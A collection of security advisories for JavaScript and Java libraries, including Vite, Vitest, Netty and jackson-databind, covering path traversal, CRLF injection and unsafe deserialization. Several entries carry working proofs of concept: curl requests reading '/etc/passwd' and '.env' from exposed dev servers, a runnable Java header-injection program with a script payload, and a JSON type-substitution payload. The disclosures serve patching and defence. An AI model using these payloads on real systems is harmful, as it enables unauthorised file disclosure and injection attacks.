Vite is a frontend tooling framework for JavaScript. In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11.
In Jakarta Mail versions prior to 2.0.2 it is possible to perform an SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
### Summary The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. ### Impact Only apps with the following conditions are affected. - explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) ### Details [HTTP 1.1 spec (RFC 9112) does not allow `#` in `request-target`](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2). Although an attacker can send such a request. For those requests with an invalid `request-line` (it includes `request-target`), the spec [recommends to reject them with 400 or 301](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2-4). The same can be said for HTTP 2 ([ref1](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-2.4.1), [ref2](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-3), [ref3](https://datatracker.ietf.org/doc/html/rfc9113#section-8.1.1-3)). On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of [`http.IncomingMessage.url`](https://nodejs.org/docs/latest-v22.x/api/http.html#messageurl) contains `#`. Vite assumed `req.url` won't contain `#` when checking `server.fs.deny`, allowing those kinds of requests to bypass the check. On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of `http.IncomingMessage.url` did not contain `#`. ### PoC ``` npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `/etc/passwd` ``` curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173 ```
### Summary The contents of files in [the project `root`](https://vite.dev/config/shared-options.html#root) that are denied by a file matching pattern can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Only files that are under [project `root`](https://vite.dev/config/shared-options.html#root) and are denied by a file matching pattern can be bypassed. - Examples of file matching patterns: `.env`, `.env.*`, `*.{crt,pem}`, `**/.env` - Examples of other patterns: `**/.git/**`, `.git/**`, `.git/**/*` ### Details [`server.fs.deny`](https://vite.dev/config/server-options.html#server-fs-deny) can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (`/.`). ### PoC ``` npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173 ```  
In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
### Summary Files denied by [`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny) were sent if the URL ended with `\` when the dev server is running on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - running the dev server on Windows ### Details `server.fs.deny` can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These patterns were able to bypass by using a back slash(`\`). The root cause is that `fs.readFile('/foo.png/')` loads `/foo.png`. ### PoC ```shell npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173 ``` <img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" />
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
Impact: In body-parser versions prior to 1.20.6 (1.x line) and 2.3.0 (2.x line), when the parser is configured with an invalid limit option value such as an unparseable string or NaN, bytes.parse returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. Patches: This issue is fixed in body-parser 1.20.6 and 2.3.0. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement, while null and undefined continue to fall back to the default limit of 100kb. Workarounds: Validate the limit value before passing it to body-parser. For example, parse the value at startup and reject any configuration where the result is null or a non-finite number.
Vitest is a testing framework powered by Vite. Prior to 3.2.5 and 4.1.0, the Vitest UI/API server on Windows used isFileServingAllowed incorrectly for /__vitest_attachment__, allowing \\?\\..\\ path traversal to read files outside the project; exposed API write and rerun features such as saveTestFile and rerun could also allow arbitrary script execution. This issue is fixed in versions 3.2.5 and 4.1.0.
Vitest is a testing framework powered by Vite. From 2.1.0 until 4.1.11 and 5.0.0-rc.2, the public mockerPlugin and standalone interceptorPlugin exports in packages/mocker/src/node/interceptorPlugin.ts register the vitest:interceptor:register handler on Vite's unauthenticated HMR WebSocket without validating redirect targets against the file-serving allowlist. The implementation processes event.redirect without enforcing server.fs.allow and server.fs.deny through isFileLoadingAllowed. A remote client that can reach an exposed development server can submit an opaque URL scheme preserving .. segments, causing join(server.config.root, redirectUrl.pathname) to resolve outside the project root. The plugin's load hook then returns readFile(mock.redirect, 'utf-8') as module source, disclosing local files readable by the dev-server process. Vitest browser mode uses a token-authenticated RPC and is not remotely unauthenticated by default, although the same boundary check was missing on that path. This issue is fixed in versions 4.1.11 and 5.0.0-rc.2.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, a request using an HTTP proxy to reach an HTTPS origin can expose preemptive origin credentials because NettyRequestFactory and NettyRequestSender.sendRequestWithNewChannel attach Authorization to the plaintext CONNECT request before the TLS tunnel exists. Basic or Digest credentials and per-connection NTLM, Kerberos, or SPNEGO tokens intended for the origin are therefore visible to the proxy and to observers on the client-to-proxy hop. The tunneled request still receives origin Authorization after the tunnel is established, while Proxy-Authorization remains on CONNECT for its intended proxy recipient. This issue is fixed in versions 2.16.1 and 3.0.12.
## Summary `@vitest/mocker` registers a redirect mock's target path without validating it against the dev server's file-serving allowlist. An attacker who can reach the dev server's WebSocket can register a redirect mock pointing outside the project root; when the mocked module is requested, the plugin's `load` hook returns `readFile(<attacker path>)` as the module source, disclosing local files. This is exploitable **without authentication** only through the public `mockerPlugin` / standalone `interceptorPlugin` exports (used by third-party dev servers), which register the handler on Vite's unauthenticated HMR socket. Vitest's own browser mode registers mocks over a **token-authenticated** RPC and is not remotely reachable by default (see Scope). ## Affected code `packages/mocker/src/node/interceptorPlugin.ts`. The `load` hook is the file-read sink: ```ts if (mock.type === 'redirect') { return readFile(mock.redirect, 'utf-8') } ``` `mock.redirect` is derived from client input at registration time with no boundary check: ```ts if (event.type === 'redirect') { const redirectUrl = new URL(event.redirect) event.redirect = join(server.config.root, redirectUrl.pathname) } registry.register(event) ``` There is no `server.fs.allow` / `server.fs.deny` check and no assertion that the resolved path stays within the project root. ## Registration paths and trust boundaries - **Public `mockerPlugin` / `interceptorPlugin` (unauthenticated).** In `configureServer`, the plugin registers `server.ws.on('vitest:interceptor:register', …)` on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin check, so any client that can reach it can register a redirect mock. This is the path the "unauthenticated" impact applies to. - **Vitest browser mode (authenticated).** Mocks register over the browser RPC (`registerMock`), which sits behind a per-run token (`isValidApiRequest`, a random `api.token`). The interceptor's `configureServer` socket is not used for registration here (in v5 it does not run at all, as the plugin is injected per environment). The same missing boundary check exists on the authenticated RPC path, but reaching it requires the token, so it is not a remote-unauthenticated read. ## Path handling `new URL(redirect).pathname` combined with `join(root, pathname)` does **not** confine reads to the root: - Special/hierarchical schemes (`file:`, `http:`) are normalized by WHATWG URL, so `..` segments are collapsed and the result stays under the root. Payloads of the form `file:///../../etc/passwd` do **not** escape. - A non-special (opaque) scheme preserves `..` in `pathname`, so `join(root, "../../…/etc/passwd")` resolves outside the root and reads an arbitrary file. Even without escaping the root, the missing `server.fs` check allows reading any in-root file the dev server would otherwise refuse to serve (for example an in-root `.env` or source that is denied by `server.fs.deny`). ## Scope / preconditions - This is a **development-server** issue. The dev server binds to `localhost` by default and is not reachable from the network unless the developer exposes it (`server.host` / `0.0.0.0`, a LAN bind, or a proxy). - A raw (non-browser) client against a reachable server bypasses browser origin and CORS protections entirely and can both register the mock and read the response. - A browser-based drive-by against a localhost server is substantially mitigated by Vite defaults: the default CORS origin allowlist is limited to `localhost` origins, and `server.allowedHosts` blocks DNS-rebinding, so a cross-origin page cannot read the file contents back. ## Impact Disclosure of local files readable by the dev-server process (source, in-root `.env`/secrets, and, via the opaque-scheme payload, files outside the project root). No integrity or availability impact. ## Affected versions Present since `@vitest/mocker` was introduced. - **Affected: `@vitest/mocker` >= 2.1.0** (shipped in `vitest` and `@vitest/browser` >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases. - **Fixed:** Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not maintained and are not planned to receive the fix. ## Fix Validate the resolved redirect target against Vite's file-serving allowlist (`isFileLoadingAllowed`) before registering it, at every registration site, and stop registering the interceptor WebSocket events in Vitest's browser mode (mocks there flow through the authenticated RPC).
### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.
### Impact When a request uses an HTTP proxy to reach an HTTPS origin, the client opens the tunnel with a plaintext CONNECT sent to the proxy before any TLS exists. On affected versions the origin's preemptive credentials were added to that CONNECT. A Basic realm sent `Authorization: Basic base64(user:pass)` to the proxy in the clear, and NTLM, SPNEGO or Kerberos realms sent their token. The proxy, and anyone who can read the client to proxy hop, saw credentials that were meant only for the origin. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The origin Basic or Digest Authorization is no longer put on the CONNECT; it is added to the tunnelled request once the tunnel is up. The per-connection NTLM, Kerberos and SPNEGO token is likewise no longer attached on the tunnel path; it never reached the origin there in any case, and the challenge flow still negotiates it inside the tunnel. ### Workarounds Do not use preemptive origin authentication together with an HTTP proxy, or reach the origin without a CONNECT proxy. ### Details NettyRequestFactory added the origin Authorization to every request it built, including the CONNECT, and NettyRequestSender did the same for the per-connection NTLM or SPNEGO token in sendRequestWithNewChannel. Both now skip the CONNECT. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
Insertion of sensitive information in log file in Elasticsearch can lead to loss of confidentiality under specific preconditions when auditing requests to the reindex API https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex
# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-http` module are affected: - `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688) - `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78) - `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60) - `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62) ## 3. Vulnerability Description Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. ### Root Cause In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings: ```java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION ``` The `setFilename()` method in all `FileUpload` implementations only checks for null: ```java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the same pattern as: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` | The multipart encoder has **no equivalent validation** for filenames or field names. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does **not** perform its own CRLF sanitization on filenames **Common affected patterns**: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames ## 5. Attack Scenarios ### Scenario 1: Content-Type Override via Filename Injection An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS: ```java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); ``` **Wire format:** ``` --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... ``` If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back. ### Scenario 2: Arbitrary MIME Header Injection ```java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; ``` Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic. ### Scenario 3: Multipart Boundary Confusion ```java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; ``` By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server ## 6. Proof of Concept ### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO")); tempFile.delete(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Multipart Filename CRLF Injection PoC === [TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r --- Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens | | **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content | | **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back | | **Form Field Override** | Inject new multipart boundaries to create/override form fields | | **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior | ## 8. Remediation Recommendations ### Option 1: Validate in FileUpload.setFilename() (Recommended) ```java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; } ``` ### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth) Escape or reject CRLF characters when building Content-Disposition headers: ```java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; } // Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n"); ``` ### Option 3: RFC 2231/5987 Encoding for Filenames Use proper RFC 2231 encoding for filenames with special characters: ```java // Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n"); ``` ## 9. References - [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183) - [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578) - [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
DefaultBaseTypeLimitingValidator is the PolymorphicTypeValidator applied automatically whenever @JsonTypeInfo is used without an explicitly configured custom validator. It denies polymorphic resolution only for a fixed set of "unsafe base types", and its isSafeSubType method returns true unconditionally for every base type outside that set. java.lang.Comparable was absent from the list despite being implemented by a very large fraction of JDK and application classes, comparable in breadth to java.io.Serializable, which is on the list for that reason. An application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, and no custom PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. This yields an attacker-controlled object instantiation primitive; a demonstrated case constructs a java.io.File for an arbitrary attacker-chosen path, which becomes path-traversal-adjacent if the application subsequently calls path-sensitive methods on the value. No class implementing Comparable has been identified that yields code execution through deserialization alone. Global Default Typing via activateDefaultTyping is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument. This affects com.fasterxml.jackson.core:jackson-databind from 2.11.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.
### Summary `DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`. ### Details **Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java` ```java private final static class UnsafeBaseTypes { private final Set<String> UNSAFE = new HashSet<>(); { UNSAFE.add(Object.class.getName()); UNSAFE.add(java.io.Closeable.class.getName()); UNSAFE.add(java.io.Serializable.class.getName()); UNSAFE.add(AutoCloseable.class.getName()); UNSAFE.add(Cloneable.class.getName()); UNSAFE.add(Runnable.class.getName()); // [databind#5014] UNSAFE.add("java.util.logging.Handler"); UNSAFE.add("javax.naming.Referenceable"); UNSAFE.add("javax.sql.DataSource"); // java.lang.Comparable is NOT present here } } protected boolean isSafeSubType(DatabindContext ctxt, JavaType baseType, JavaType subType) { return true; // unconditional for every base type not in UNSAFE } ``` The class's own JavaDoc acknowledges the design (*"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014). This is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global "Default Typing" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`. ### PoC Built entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access): **1. Sanity check (benign class, confirms the mechanism fires):** ```java static class SafeThing implements Comparable<SafeThing> { public String name; public SafeThing() {} public int compareTo(SafeThing o) { return 0; } } static class Holder { @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Comparable<?> value; } ObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=...SafeThing ``` **2. Real JDK class substitution:** ```java String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=java.io.File value=/etc/passwd ``` **3. Negative control — Default Typing with an explicit custom PTV:** ```java PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("PtvGapTest4").build(); ObjectMapper mapper = JsonMapper.builder() .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build(); // same java.io.File payload // RESULT: REJECTED - InvalidTypeIdException: "...denied resolution" ``` **Observed output:** $ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd $ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution ### Impact Any application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. **Suggested remediation:** 1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`. 2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap. 3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
